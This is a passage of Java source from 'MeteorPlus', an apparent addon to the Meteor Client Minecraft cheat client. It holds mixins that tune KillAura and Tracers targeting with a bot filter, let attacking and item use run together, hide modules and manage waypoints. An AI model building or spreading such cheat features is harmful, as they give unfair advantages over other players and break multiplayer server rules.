org.spongepowered.asm.mixin.injection.Inject; 13 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 14 | 15 | import static meteordevelopment.meteorclient.MeteorClient.mc; 16 | import static meteordevelopment.meteorclient.renderer.Fonts.DEFAULT_FONT; 17 | import static meteordevelopment.meteorclient.renderer.Fonts.RENDERER; 18 | 19 | @Mixin(Fonts.class) 20 | public class FontsMixin { 21 | @Inject(method = "load", at = @At(value = "HEAD"), remap = false) 22 | private static void load(FontFace fontFace, CallbackInfo ci) { 23 | if (RENDERER != null && RENDERER.fontFace.equals(fontFace)) return; 24 | 25 | try { 26 | RENDERER = new CustomTextRendererV2(fontFace); 27 | MeteorClient.EVENT_BUS.post(CustomFontChangedEvent.get()); 28 | } 29 | catch (Exception e) { 30 | if (fontFace.equals(DEFAULT_FONT)) { 31 | throw new RuntimeException("Failed to load default font: " + fontFace, e); 32 | } 33 | 34 | MeteorClient.LOG.error("Failed to load font: " + fontFace, e); 35 | load(DEFAULT_FONT, ci); 36 | } 37 | 38 | if (mc.currentScreen instanceof WidgetScreen && Config.get().customFont.get()) { 39 | ((WidgetScreen) mc.currentScreen).invalidate(); 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/ItemHighlightMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | 4 | import meteordevelopment.meteorclient.gui.GuiTheme; 5 | import meteordevelopment.meteorclient.settings.ColorSetting; 6 | import meteordevelopment.meteorclient.settings.ItemListSetting; 7 | import meteordevelopment.meteorclient.settings.Setting; 8 | import meteordevelopment.meteorclient.systems.modules.Categories; 9 | import meteordevelopment.meteorclient.systems.modules.Module; 10 | import meteordevelopment.meteorclient.systems.modules.Modules; 11 | import meteordevelopment.meteorclient.systems.modules.render.ItemHighlight; 12 | import meteordevelopment.meteorclient.utils.render.RenderUtils; 13 | import meteordevelopment.meteorclient.utils.render.color.SettingColor; 14 | import nekiplay.meteorplus.features.modules.ItemHighlightPlus; 15 | import nekiplay.meteorplus.settings.items.ESPItemData; 16 | import nekiplay.meteorplus.settings.items.HiglightItemData; 17 | import net.minecraft.item.ItemStack; 18 | import net.minecraft.registry.Registry; 19 | import net.minecraft.util.math.Box; 20 | import net.minecraft.util.math.MathHelper; 21 | import org.spongepowered.asm.mixin.Mixin; 22 | import org.spongepowered.asm.mixin.injection.At; 23 | import org.spongepowered.asm.mixin.injection.Inject; 24 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 25 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 26 | 27 | import java.util.Collection; 28 | 29 | @Mixin(value = ItemHighlight.class) 30 | public class ItemHighlightMixin { 31 | 32 | @Inject(method = "getColor", at = @At("RETURN"), cancellable = true) 33 | private void getColor(ItemStack stack, CallbackInfoReturnable cir) { 34 | if (cir.getReturnValue() == -1) { 35 | if (stack != null) { 36 | ItemHighlightPlus itemHighlightPlus = Modules.get().get(ItemHighlightPlus.class); 37 | if (itemHighlightPlus.isActive()) { 38 | if (itemHighlightPlus.whitelist.get().contains(stack.getItem().asItem())) { 39 | HiglightItemData espItemData = itemHighlightPlus.itemsConfigs.get().get(stack.getItem()); 40 | if (espItemData != null) { 41 | cir.setReturnValue(espItemData.Color.getPacked()); 42 | } 43 | else { 44 | cir.setReturnValue(itemHighlightPlus.defaultBlockConfig.get().Color.getPacked()); 45 | } 46 | } 47 | } 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/KillAuraMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Modules; 4 | import meteordevelopment.meteorclient.systems.modules.combat.KillAura; 5 | import net.minecraft.entity.Entity; 6 | import net.minecraft.entity.player.PlayerEntity; 7 | import nekiplay.meteorplus.features.modules.AntiBotPlus; 8 | import org.spongepowered.asm.mixin.Mixin; 9 | import org.spongepowered.asm.mixin.injection.At; 10 | import org.spongepowered.asm.mixin.injection.Inject; 11 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 12 | 13 | @Mixin(KillAura.class) 14 | public class KillAuraMixin { 15 | @Inject(method = "entityCheck", at = @At("RETURN"), cancellable = true) 16 | protected void entityCheck(Entity entity, CallbackInfoReturnable cir) { 17 | AntiBotPlus antiBotPlus = Modules.get().get(AntiBotPlus.class); 18 | if (antiBotPlus != null && antiBotPlus.isActive() && entity instanceof PlayerEntity) { 19 | if (cir.getReturnValueZ()) { 20 | cir.setReturnValue(!antiBotPlus.isBot(entity)); 21 | } 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/ModuleMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Module; 4 | import net.minecraft.nbt.NbtCompound; 5 | import nekiplay.meteorplus.mixinclasses.IModule; 6 | import org.spongepowered.asm.mixin.Mixin; 7 | import org.spongepowered.asm.mixin.injection.At; 8 | import org.spongepowered.asm.mixin.injection.Inject; 9 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 10 | import org.spongepowered.asm.mixin.injection.callback.LocalCapture; 11 | 12 | @Mixin(Module.class) 13 | public class ModuleMixin implements IModule { 14 | public boolean hidden = false; 15 | 16 | @Inject(method = "toTag", at = @At("TAIL"), locals = LocalCapture.CAPTURE_FAILHARD) 17 | private void toTag(CallbackInfoReturnable cir, NbtCompound tag) { 18 | tag.putBoolean("hidden", hidden); 19 | } 20 | 21 | @Inject(method = "fromTag(Lnet/minecraft/nbt/NbtCompound;)Lmeteordevelopment/meteorclient/systems/modules/Module;", at = @At("RETURN")) 22 | private void fromTag(NbtCompound tag, CallbackInfoReturnable cir) { 23 | hidden = tag.getBoolean("hidden"); 24 | } 25 | 26 | @Override 27 | public boolean isHidden() { 28 | return hidden; 29 | } 30 | 31 | @Override 32 | public void setHidden(boolean value) { 33 | hidden = value; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/ModulesScreenMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiTheme; 4 | import meteordevelopment.meteorclient.gui.screens.ModulesScreen; 5 | import meteordevelopment.meteorclient.gui.widgets.containers.WContainer; 6 | import meteordevelopment.meteorclient.gui.widgets.containers.WVerticalList; 7 | import meteordevelopment.meteorclient.gui.widgets.containers.WWindow; 8 | import meteordevelopment.meteorclient.systems.modules.Category; 9 | import meteordevelopment.meteorclient.systems.modules.Module; 10 | import meteordevelopment.meteorclient.systems.modules.Modules; 11 | import nekiplay.meteorplus.mixinclasses.IModule; 12 | import org.spongepowered.asm.mixin.Mixin; 13 | import org.spongepowered.asm.mixin.injection.At; 14 | import org.spongepowered.asm.mixin.injection.Inject; 15 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 16 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 17 | import org.spongepowered.asm.mixin.injection.callback.LocalCapture; 18 | 19 | @Mixin(ModulesScreen.class) 20 | public abstract class ModulesScreenMixin { 21 | private GuiTheme _theme; 22 | 23 | @Inject(method = "", at = @At("TAIL"), remap = false) 24 | private void ModulesScreen(GuiTheme theme, CallbackInfo ci) { 25 | _theme = theme; 26 | } 27 | 28 | @Inject(method = "initWidgets", at = @At("TAIL"), locals = LocalCapture.CAPTURE_FAILHARD, remap = false) 29 | private void initWidgets(CallbackInfo ci, WVerticalList help) { 30 | help.add(_theme.label("Middle click - Hide module")); 31 | } 32 | 33 | @Inject(method = "createCategory", at = @At(value = "INVOKE", target = "Ljava/util/List;iterator()Ljava/util/Iterator;"), remap = false, locals = LocalCapture.CAPTURE_FAILHARD, cancellable = true) 34 | private void createCategory(WContainer c, Category category, CallbackInfoReturnable cir, WWindow w) { 35 | for (Module module : Modules.get().getGroup(category)) { 36 | boolean isVisible = !((IModule) module).isHidden(); 37 | if (isVisible) { 38 | w.add(_theme.module(module)).expandX(); 39 | } 40 | } 41 | cir.setReturnValue(w); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/TracersMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Modules; 4 | import meteordevelopment.meteorclient.systems.modules.render.Tracers; 5 | import net.minecraft.entity.Entity; 6 | import net.minecraft.entity.player.PlayerEntity; 7 | import nekiplay.meteorplus.features.modules.AntiBotPlus; 8 | import org.spongepowered.asm.mixin.Mixin; 9 | import org.spongepowered.asm.mixin.injection.At; 10 | import org.spongepowered.asm.mixin.injection.Inject; 11 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 12 | 13 | @Mixin(Tracers.class) 14 | public class TracersMixin { 15 | @Inject(method = "shouldBeIgnored", at = @At("RETURN"), cancellable = true) 16 | protected void shouldBeIgnored(Entity entity, CallbackInfoReturnable cir) { 17 | AntiBotPlus antiBotPlus = Modules.get().get(AntiBotPlus.class); 18 | if (antiBotPlus != null && antiBotPlus.isActive() && !cir.getReturnValue() && entity instanceof PlayerEntity) { 19 | cir.setReturnValue(antiBotPlus.isBot(entity)); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/WMeteorModuleMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiThemes; 4 | import meteordevelopment.meteorclient.gui.tabs.Tabs; 5 | import meteordevelopment.meteorclient.gui.themes.meteor.widgets.WMeteorModule; 6 | import meteordevelopment.meteorclient.systems.modules.Module; 7 | import meteordevelopment.meteorclient.utils.render.color.Color; 8 | import nekiplay.meteorplus.mixinclasses.IModule; 9 | import org.lwjgl.glfw.GLFW; 10 | import org.spongepowered.asm.mixin.Final; 11 | import org.spongepowered.asm.mixin.Mixin; 12 | import org.spongepowered.asm.mixin.Shadow; 13 | import org.spongepowered.asm.mixin.injection.At; 14 | import org.spongepowered.asm.mixin.injection.Inject; 15 | import org.spongepowered.asm.mixin.injection.ModifyArgs; 16 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 17 | import org.spongepowered.asm.mixin.injection.invoke.arg.Args; 18 | 19 | @Mixin(WMeteorModule.class) 20 | public class WMeteorModuleMixin { 21 | @Shadow(remap = false) 22 | @Final 23 | private Module module; 24 | 25 | Color textColor; 26 | 27 | @Inject(method = "onPressed", at = @At("TAIL"), remap = false) 28 | private void onPressed(int button, CallbackInfo ci) { 29 | if (button == GLFW.GLFW_MOUSE_BUTTON_MIDDLE) { 30 | if (module.isActive()) module.toggle(); 31 | 32 | ((IModule) module).setHidden(true); 33 | Tabs.get().get(0).openScreen(GuiThemes.get()); // Hacky way to refresh the screen 34 | } 35 | } 36 | 37 | @ModifyArgs(method = "onRender", at = @At(value = "INVOKE", target = "Lmeteordevelopment/meteorclient/gui/renderer/GuiRenderer;text(Ljava/lang/String;DDLmeteordevelopment/meteorclient/utils/render/color/Color;Z)V"), remap = false) 38 | private void onTextRender(Args args) { 39 | if (textColor != null) { 40 | args.set(3, textColor); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/WPressableMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.gui.widgets.WWidget; 4 | import meteordevelopment.meteorclient.gui.widgets.pressable.WPressable; 5 | import org.spongepowered.asm.mixin.Mixin; 6 | import org.spongepowered.asm.mixin.Shadow; 7 | import org.spongepowered.asm.mixin.Unique; 8 | 9 | import static org.lwjgl.glfw.GLFW.*; 10 | 11 | @Mixin(WPressable.class) 12 | public abstract class WPressableMixin extends WWidget { 13 | @Shadow(remap = false) 14 | protected boolean pressed = false; 15 | 16 | @Override 17 | public boolean onMouseClicked(double mouseX, double mouseY, int button, boolean used) { 18 | if (isValidClick(button, used)) 19 | pressed = true; 20 | return pressed; 21 | } 22 | 23 | @Unique 24 | private boolean isValidClick(int button, boolean used) { 25 | boolean isValidMouseButton = ( 26 | button == GLFW_MOUSE_BUTTON_LEFT || 27 | button == GLFW_MOUSE_BUTTON_RIGHT || 28 | button == GLFW_MOUSE_BUTTON_MIDDLE 29 | ); 30 | return mouseOver && isValidMouseButton && !used; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/minecraft/ClientPlayerInteractionManagerMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.minecraft; 2 | 3 | import meteordevelopment.meteorclient.MeteorClient; 4 | import net.minecraft.client.network.ClientPlayerInteractionManager; 5 | import net.minecraft.entity.player.PlayerEntity; 6 | import net.minecraft.screen.slot.SlotActionType; 7 | import nekiplay.meteorplus.events.ClickWindowEvent; 8 | import org.spongepowered.asm.mixin.Mixin; 9 | import org.spongepowered.asm.mixin.injection.At; 10 | import org.spongepowered.asm.mixin.injection.Inject; 11 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 12 | 13 | @Mixin(ClientPlayerInteractionManager.class) 14 | public class ClientPlayerInteractionManagerMixin { 15 | @Inject(method = "clickSlot", at = @At("HEAD"), cancellable = true) 16 | private void windowClick(int syncId, int slotId, int button, SlotActionType actionType, PlayerEntity player, CallbackInfo callbackInfo) { 17 | final ClickWindowEvent event = ClickWindowEvent.get(syncId, slotId, button, actionType); 18 | MeteorClient.EVENT_BUS.post(event); 19 | 20 | if (event.isCancelled()) 21 | callbackInfo.cancel(); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/minecraft/MinecraftClientMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.minecraft; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Modules; 4 | import nekiplay.meteorplus.features.modules.MultiTasks; 5 | import net.minecraft.client.MinecraftClient; 6 | import net.minecraft.client.network.ClientPlayerEntity; 7 | import net.minecraft.client.network.ClientPlayerInteractionManager; 8 | import net.minecraft.client.option.GameOptions; 9 | import net.minecraft.client.world.ClientWorld; 10 | import org.spongepowered.asm.mixin.Final; 11 | import org.spongepowered.asm.mixin.Mixin; 12 | import org.spongepowered.asm.mixin.Shadow; 13 | import org.spongepowered.asm.mixin.injection.At; 14 | import org.spongepowered.asm.mixin.injection.Redirect; 15 | 16 | import javax.annotation.Nullable; 17 | 18 | @Mixin(MinecraftClient.class) 19 | public class MinecraftClientMixin { 20 | @Shadow 21 | public @Nullable ClientPlayerEntity player; 22 | @Shadow 23 | @Final 24 | public GameOptions options; 25 | @Shadow 26 | private boolean doAttack() { 27 | return false; 28 | } 29 | @Shadow 30 | private void doItemUse() {} 31 | @Shadow 32 | @Nullable 33 | public ClientWorld world; 34 | 35 | @Redirect(method = "handleBlockBreaking", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/network/ClientPlayerEntity;isUsingItem()Z"), require = 0) 36 | public boolean breakBlock(ClientPlayerEntity clientPlayer) { 37 | MultiTasks multiTasks = Modules.get().get(MultiTasks.class); 38 | if(multiTasks.isActive()) { 39 | return false; 40 | } 41 | return clientPlayer.isUsingItem(); 42 | } 43 | 44 | @Redirect(method = "doItemUse", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/network/ClientPlayerInteractionManager;isBreakingBlock()Z"), require = 0) 45 | public boolean itemBreak(ClientPlayerInteractionManager clientPlayerInteractionManager) { 46 | MultiTasks multiTasks = Modules.get().get(MultiTasks.class); 47 | if(multiTasks.isActive()) { 48 | return false; 49 | } 50 | return clientPlayerInteractionManager.isBreakingBlock(); 51 | } 52 | 53 | @Redirect(method = "handleInputEvents", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/network/ClientPlayerEntity;isUsingItem()Z"), require = 0) 54 | public boolean attackCheck(ClientPlayerEntity instance) { 55 | MultiTasks multiTasks = Modules.get().get(MultiTasks.class); 56 | if(multiTasks == null) return player.isUsingItem(); 57 | if(multiTasks.isActive()) { 58 | while(this.options.attackKey.wasPressed()) { 59 | this.doAttack(); 60 | } 61 | 62 | while(this.options.useKey.wasPressed()) { 63 | this.doItemUse(); 64 | } 65 | } 66 | return player.isUsingItem(); 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/minecraft/MobSpawnerBlockEntityAccessor.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.minecraft; 2 | 3 | import net.minecraft.block.BlockState; 4 | import net.minecraft.block.entity.MobSpawnerBlockEntity; 5 | import net.minecraft.world.MobSpawnerLogic; 6 | import org.spongepowered.asm.mixin.Final; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.gen.Accessor; 9 | 10 | @Mixin(MobSpawnerBlockEntity.class) 11 | public interface MobSpawnerBlockEntityAccessor { 12 | @Accessor("logic") 13 | MobSpawnerLogic getLogic(); 14 | } 15 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/minecraft/MobSpawnerLogicAccessor.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.minecraft; 2 | 3 | import net.minecraft.entity.Entity; 4 | import net.minecraft.world.MobSpawnerLogic; 5 | import org.spongepowered.asm.mixin.Mixin; 6 | import org.spongepowered.asm.mixin.gen.Accessor; 7 | 8 | import javax.annotation.Nullable; 9 | 10 | @Mixin(MobSpawnerLogic.class) 11 | public interface MobSpawnerLogicAccessor { 12 | @Accessor("renderedEntity") 13 | @Nullable 14 | Entity getEntity(); 15 | } 16 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/xaero/worldmap/MapPixelAccessor.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.xaero.worldmap; 2 | 3 | import net.minecraft.block.BlockState; 4 | import org.spongepowered.asm.mixin.Mixin; 5 | import org.spongepowered.asm.mixin.gen.Accessor; 6 | import xaero.map.region.MapPixel; 7 | 8 | @Mixin(MapPixel.class) 9 | public interface MapPixelAccessor { 10 | @Accessor("state") 11 | BlockState getBlockState(); 12 | } 13 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixinclasses/EditWaypointScreen.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixinclasses; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiTheme; 4 | import meteordevelopment.meteorclient.gui.screens.EditSystemScreen; 5 | import meteordevelopment.meteorclient.settings.Settings; 6 | import meteordevelopment.meteorclient.systems.waypoints.Waypoint; 7 | import meteordevelopment.meteorclient.systems.waypoints.Waypoints; 8 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 9 | 10 | import static meteordevelopment.meteorclient.MeteorClient.mc; 11 | 12 | public class EditWaypointScreen extends EditSystemScreen { 13 | private Runnable reload; 14 | public EditWaypointScreen(GuiTheme theme, Waypoint value, Runnable reload) { 15 | super(theme, value, reload); 16 | this.reload = reload; 17 | } 18 | 19 | @Override 20 | public Waypoint create() { 21 | return new Waypoint.Builder() 22 | .pos(mc.player.getBlockPos().up(2)) 23 | .dimension(PlayerUtils.getDimension()) 24 | .build(); 25 | } 26 | 27 | @Override 28 | public boolean save() { 29 | 30 | boolean added = !isNew || Waypoints.get().add(value); 31 | return added; 32 | 33 | } 34 | 35 | @Override 36 | public Settings getSettings() { 37 | return value.settings; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixinclasses/IModule.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixinclasses; 2 | 3 | public interface IModule { 4 | boolean isHidden(); 5 | void setHidden(boolean value); 6 | } 7 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixinclasses/WIcon.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixinclasses; 2 | 3 | import meteordevelopment.meteorclient.gui.renderer.GuiRenderer; 4 | import meteordevelopment.meteorclient.gui.widgets.WWidget; 5 | import meteordevelopment.meteorclient.systems.waypoints.Waypoint; 6 | 7 | public class WIcon extends WWidget { 8 | private final Waypoint waypoint; 9 | 10 | public WIcon(Waypoint waypoint) { 11 | this.waypoint = waypoint; 12 | } 13 | 14 | @Override 15 | protected void onCalculateSize() { 16 | double s = theme.scale(32); 17 | 18 | width = s; 19 | height = s; 20 | } 21 | 22 | @Override 23 | protected void onRender(GuiRenderer renderer, double mouseX, double mouseY, double delta) { 24 | renderer.post(() -> waypoint.renderIcon(x, y, 1, width)); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixinclasses/WaypointsModuleModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixinclasses; 2 | 3 | import meteordevelopment.meteorclient.systems.waypoints.Waypoint; 4 | 5 | import java.util.Comparator; 6 | import java.util.Map; 7 | 8 | import static meteordevelopment.meteorclient.MeteorClient.mc; 9 | 10 | public class WaypointsModuleModes { 11 | public enum SortMode { 12 | None, 13 | Distance, 14 | Name, 15 | } 16 | 17 | public static class DistanceComparator implements Comparator { 18 | Map base; 19 | 20 | public DistanceComparator(Map base) { 21 | this.base = base; 22 | } 23 | public int compare(String a, String b) { 24 | long distance1 = 0; 25 | long distance2 = 0; 26 | if (mc.player != null) { 27 | Waypoint awp = base.get(a); 28 | Waypoint bwp = base.get(b); 29 | if (awp != null && bwp != null) { 30 | if (awp.getPos() != null && bwp.getPos() != null) { 31 | 32 | distance1 = Math.round(mc.player.getPos().distanceTo(awp.getPos().toCenterPos())); 33 | distance2 = Math.round(mc.player.getPos().distanceTo(bwp.getPos().toCenterPos())); 34 | } 35 | } 36 | } 37 | if (distance1 >= distance2) { 38 | return 1; 39 | } else { 40 | return -1; 41 | } 42 | } 43 | } 44 | 45 | public static class NameComparator implements Comparator { 46 | Map base; 47 | 48 | public NameComparator(Map base) { 49 | this.base = base; 50 | } 51 | public int compare(String a, String b) { 52 | if (base.containsKey(a) && base.containsKey(b)) { 53 | 54 | Waypoint awp = base.get(a); 55 | Waypoint bwp = base.get(b); 56 | if (awp != null && bwp != null) { 57 | if (awp.name.get().length() >= bwp.name.get().length()) { 58 | return 1; 59 | } else { 60 | return -1; 61 | } 62 | } 63 | return 0; 64 | } 65 | else { 66 | return 0; 67 | } 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/settings/items/HiglightItemData.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.settings.items; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiTheme; 4 | import meteordevelopment.meteorclient.gui.WidgetScreen; 5 | import meteordevelopment.meteorclient.gui.utils.IScreenFactory; 6 | import meteordevelopment.meteorclient.renderer.ShapeMode; 7 | import meteordevelopment.meteorclient.utils.misc.IChangeable; 8 | import meteordevelopment.meteorclient.utils.misc.ICopyable; 9 | import meteordevelopment.meteorclient.utils.misc.ISerializable; 10 | import meteordevelopment.meteorclient.utils.render.color.SettingColor; 11 | import net.minecraft.item.Item; 12 | import net.minecraft.nbt.NbtCompound; 13 | 14 | public class HiglightItemData implements ICopyable, ISerializable, IChangeable, IItemData, IScreenFactory { 15 | public SettingColor Color; 16 | private boolean changed; 17 | 18 | public HiglightItemData(SettingColor color) { 19 | this.Color = color; 20 | } 21 | 22 | @Override 23 | public WidgetScreen createScreen(GuiTheme theme, Item block, ItemDataSetting setting) { 24 | return new HiglightItemDataScren(theme, this, block, setting); 25 | } 26 | 27 | @Override 28 | public WidgetScreen createScreen(GuiTheme theme) { 29 | return new HiglightItemDataScren(theme, this, null, null); 30 | } 31 | 32 | @Override 33 | public boolean isChanged() { 34 | return changed; 35 | } 36 | 37 | public void changed() { 38 | changed = true; 39 | } 40 | 41 | public void tickRainbow() { 42 | Color.update(); 43 | } 44 | 45 | @Override 46 | public HiglightItemData set(HiglightItemData value) { 47 | Color.set(value.Color); 48 | changed = value.changed; 49 | 50 | return this; 51 | } 52 | 53 | @Override 54 | public HiglightItemData copy() { 55 | return new HiglightItemData(new SettingColor(Color)); 56 | } 57 | 58 | @Override 59 | public NbtCompound toTag() { 60 | NbtCompound tag = new NbtCompound(); 61 | 62 | tag.put("color", Color.toTag()); 63 | tag.putBoolean("changed", changed); 64 | 65 | return tag; 66 | } 67 | 68 | @Override 69 | public HiglightItemData fromTag(NbtCompound tag) { 70 | Color.fromTag(tag.getCompound("color")); 71 | changed = tag.getBoolean("changed"); 72 | 73 | return this; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/settings/items/HiglightItemDataScren.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.settings.items; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiTheme; 4 | import meteordevelopment.meteorclient.gui.WindowScreen; 5 | import meteordevelopment.meteorclient.renderer.ShapeMode; 6 | import meteordevelopment.meteorclient.settings.*; 7 | import meteordevelopment.meteorclient.utils.render.color.SettingColor; 8 | import net.minecraft.item.Item; 9 | 10 | public class HiglightItemDataScren extends WindowScreen { 11 | private final HiglightItemData blockData; 12 | private final Item block; 13 | private final ItemDataSetting setting; 14 | 15 | public HiglightItemDataScren(GuiTheme theme, HiglightItemData blockData, Item block, ItemDataSetting setting) { 16 | super(theme, "Configure Items"); 17 | 18 | this.blockData = blockData; 19 | this.block = block; 20 | this.setting = setting; 21 | } 22 | 23 | @Override 24 | public void initWidgets() { 25 | Settings settings = new Settings(); 26 | SettingGroup sgGeneral = settings.getDefaultGroup(); 27 | 28 | sgGeneral.add(new ColorSetting.Builder() 29 | .name("color") 30 | .description("Color of item.") 31 | .defaultValue(new SettingColor(0, 255, 200)) 32 | .onModuleActivated(settingColorSetting -> settingColorSetting.set(blockData.Color)) 33 | .onChanged(settingColor -> { 34 | blockData.Color.set(settingColor); 35 | changed(blockData, block, setting); 36 | }) 37 | .build() 38 | ); 39 | 40 | settings.onActivated(); 41 | add(theme.settings(settings)).expandX(); 42 | } 43 | 44 | private void changed(HiglightItemData blockData, Item block, ItemDataSetting setting) { 45 | if (!blockData.isChanged() && block != null && setting != null) { 46 | setting.get().put(block, blockData); 47 | setting.onChanged(); 48 | } 49 | 50 | blockData.changed(); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/settings/items/IItemData.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.settings.items; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiTheme; 4 | import meteordevelopment.meteorclient.gui.WidgetScreen; 5 | import meteordevelopment.meteorclient.utils.misc.IChangeable; 6 | import meteordevelopment.meteorclient.utils.misc.ICopyable; 7 | import meteordevelopment.meteorclient.utils.misc.ISerializable; 8 | import net.minecraft.item.Item; 9 | 10 | public interface IItemData & ISerializable & IChangeable & IItemData> { 11 | WidgetScreen createScreen(GuiTheme theme, Item block, ItemDataSetting setting); 12 | } 13 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/settings/items/MeteorPlusSettings.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.settings.items; 2 | 3 | import meteordevelopment.meteorclient.gui.GuiTheme; 4 | import meteordevelopment.meteorclient.gui.renderer.GuiRenderer; 5 | import meteordevelopment.meteorclient.gui.utils.SettingsWidgetFactory; 6 | import meteordevelopment.meteorclient.gui.widgets.containers.WTable; 7 | import meteordevelopment.meteorclient.gui.widgets.pressable.WButton; 8 | 9 | import java.util.Map; 10 | 11 | import static meteordevelopment.meteorclient.MeteorClient.mc; 12 | 13 | public class MeteorPlusSettings { 14 | private final Map, SettingsWidgetFactory.Factory> factories; 15 | 16 | private final GuiTheme theme; 17 | 18 | public MeteorPlusSettings(Map, SettingsWidgetFactory.Factory> factories, GuiTheme theme) { 19 | this.factories = factories; 20 | this.theme = theme; 21 | } 22 | 23 | public void addSettings() { 24 | factories.put(ItemDataSetting.class, (table, setting) -> stringMapW(table, (ItemDataSetting) setting)); 25 | } 26 | 27 | private void stringMapW(WTable table, ItemDataSetting setting) { 28 | WButton button = table.add(theme.button(GuiRenderer.EDIT)).expandCellX().widget(); 29 | button.action = () -> mc.setScreen(new ItemDataSettingScreen(theme, setting)); 30 | } 31 | 32 | } 33 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/ColorRemover.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | public class ColorRemover { 4 | public static String GetVerbatim(String text) 5 | { 6 | int idx = 0; 7 | var data = new char[text.length()]; 8 | 9 | for ( int i = 0; i < text.length(); i++ ) 10 | if ( text.charAt(i) != '§' ) 11 | data[idx++] = text.charAt(i); 12 | else 13 | i++; 14 